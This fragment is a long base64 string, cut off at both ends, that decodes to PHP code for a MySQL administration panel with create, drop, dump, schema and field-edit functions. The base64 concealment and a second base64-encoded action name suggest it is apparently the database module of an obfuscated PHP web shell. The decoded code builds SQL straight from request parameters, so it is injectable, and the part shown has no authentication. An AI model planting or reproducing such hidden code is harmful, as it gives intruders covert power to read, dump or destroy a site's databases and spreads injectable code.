JZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYn